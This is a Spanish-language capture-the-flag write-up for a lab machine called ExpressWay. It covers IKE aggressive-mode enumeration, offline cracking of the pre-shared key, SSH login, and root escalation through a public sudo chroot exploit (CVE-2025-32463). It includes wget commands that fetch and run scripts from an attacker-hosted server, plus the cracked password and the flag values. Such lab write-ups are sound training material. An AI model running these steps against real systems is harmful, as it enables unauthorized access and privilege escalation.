Skip to main content

Command Palette

Search for a command to run...

ExpressWay WriteUp

Published
5 min read
ExpressWay WriteUp

Iniciamos con un escaneo de nmap:

nmap -sV -Pn -sC 10.129.10.150

Como en TCP esta solo el puerto 22 abierto, el cual corresponde a ssh, realizamos tambien un escaneo de puertos UDP:

sudo nmap -sU -vv -Pn --min-rate 5000 10.129.10.150

Tras obtener los resultados del escaneo, notaremos que el puerto 500 esta abierto:

500/udp   open   isakmp         udp-response ttl 63

Que es isakmp?

Internet Security Association and Key Management Protocol

Es el protocolo utilizado para negociar los parámetros de seguridad antes de crear un túnel VPN IPsec.

Entre otras cosas negocia:

  • algoritmo de cifrado

  • algoritmo hash

  • grupo Diffie-Hellman

  • método de autenticación (PSK o certificados)

Para interactuar con el servicio usamos la herramienta ike-scan. En este caso utilizamos la flag -M para mostrar la salida en múltiples líneas y facilitar su lectura. A partir de esta información, podemos identificar datos como:

  • algoritmos soportados

  • método de autenticación

  • características del servidor

sudo ike-scan -M 10.129.10.150

Esto nos dice que:

  • usa 3DES

  • usa SHA1

  • usa Diffie-Hellman group 2

  • la autenticación es PSK (Pre Shared Key)

Luego ejecutamos el mismo comando, pero agregando la opción --showbackoff para mostrar la tabla de backoff, la cual puede utilizarse para identificar la implementación IKE del host remoto:

sudo ike-scan -M --showbackoff 10.129.10.150

En este caso, el resultado sugiere:

Implementation guess: Linksys Etherfast

Esto indica que la implementación del servicio IKE podría corresponder a un dispositivo o stack compatible con Linksys Etherfast, aunque esta identificación no siempre es completamente precisa.

A continuación utilizamos Aggressive Mode para obtener más información del servicio IKE:

  • -P: muestra los parámetros del PSK obtenidos en Aggressive Mode, utilizables para cracking offline.

  • -M: para que utilice multiline y muestre la salida en múltiples líneas para facilitar su lectura.

  • -A: Fuerza el uso de IKE Aggressive Mode.

  • -N: Evita la resolución DNS durante el escaneo.

  • --id=groupnamedoesnotexist: Define un Group ID arbitrario para iniciar el intercambio IKE.

sudo ike-scan -P -M -A -n --id=groupnamedoesnotexist 10.129.10.150

El servidor devuelve el siguiente identificador:

ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)

Esto revela el identificador utilizado en la autenticación IKE, que en este caso es:

ike@expressway.htb

El intercambio IKE en Aggressive Mode devuelve los parámetros necesarios para realizar un ataque offline contra el Pre-Shared Key (PSK).

Estos parámetros incluyen valores del intercambio Diffie-Hellman, nonces y el hash de autenticación generado durante el handshake, que puede ser utilizado para intentar recuperar la clave compartida mediante un ataque de diccionario.

Para ello, copiamos los parámetros obtenidos del output de ike-scan y los guardamos en un archivo:

echo d369998823b1ee395c04a7aabefbf68dcf... > ike.hash

Este archivo contiene los parámetros del intercambio IKE necesarios para realizar el cracking del PSK.

A continuación utilizamos la herramienta psk-crack, incluida junto con ike-scan, para realizar un ataque de diccionario utilizando la wordlist rockyou:

psk-crack ike.hash -d /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

Obtenemos la clave:

freakingrockstarontheroad

Utilizamos la clave para autenticarnos mediante ssh con el usuario previamente obtenido, y obtenemos la flag de user:

ssh ike@10.129.10.150

User Flag: 876d5b5c97deb07c0aea1a96b76132cf


Escalada de privilegios

Una vez obtenida una shell en la máquina como el usuario ike, intentamos verificar si el usuario tiene permisos de sudo ejecutando:

sudo -l

La respuesta del sistema indica que el usuario no tiene permisos para ejecutar comandos mediante sudo, por lo que debemos buscar otros posibles vectores de escalada de privilegios.

Para identificar posibles vectores de escalada de privilegios, utilizamos la herramienta linpeas, la cual automatiza la enumeración de configuraciones inseguras, permisos incorrectos y versiones vulnerables de software.

Primero levantamos un servidor HTTP en nuestra máquina atacante para transferir la herramienta:

python -m http.server 8081

Luego descargamos el script en la máquina objetivo:

wget http://IP/linpeas.sh

Una vez subido, le damos permiso de ejecucion con chmod +x linpeas.sh y lo ejecutamos con ./linpeas.sh

Tras revisar la salida de linpeas, observamos que el sistema utiliza una versión potencialmente vulnerable de sudo:

Para confirmarlo verificamos la versión instalada:

/usr/local/bin/sudo --version

CVE-2025-32463

Buscando exploits públicos para esta versión encontramos una vulnerabilidad identificada como CVE-2025-32463. Esta vulnerabilidad permite escalar privilegios a root mediante un bypass del entorno chroot en sudo.

https://www.exploit-db.com/exploits/52352

https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/

El CVE-2025-32463 es una vulnerabilidad crítica de escalada local de privilegios en sudo, relacionada con la opción --chroot (-R). Debido a un manejo inseguro de nsswitch.conf, un usuario local puede hacer que sudo cargue configuración desde un directorio controlado por él y, en determinadas condiciones, lograr ejecución de código como root. Afecta a versiones anteriores a sudo 1.9.17p1.

Clonamos el exploit desde GitHub en nuestra máquina atacante:

git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/

Luego iniciamos nuevamente un servidor HTTP para transferir el exploit a la máquina objetivo:

python -m http.server 8081

En la máquina víctima descargamos el exploit:

wget http://10.10.15.106:8081/sudo-chwoot.sh

Le damos permisos de ejecucion con chmod +x sudo-chwoot.sh y lo ejecutamos junto con el comando whoami para confirmar que el exploit funciona:

./sudo-chwoot.sh whoami

Si revisamos el resultado, veremos que el exploit se ejecuta con exito y tenemos acceso como root, por lo cual, vamos a volver a lanzar el comando, pero que esta vez nos devuelva una shell como root, para de esta forma obtener la flag:

./sudo-chwoot.sh /bin/bash

Root Flag: da872bcc3e0e3f20b20bf26b1502a8b9


📌 Sígueme / Portfolio

🌐 Web: https://0xnano.com

🐦 X: https://x.com/0xN4no

🐙 GitHub: https://github.com/0xN4no

Nano

🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.

Expressway WriteUp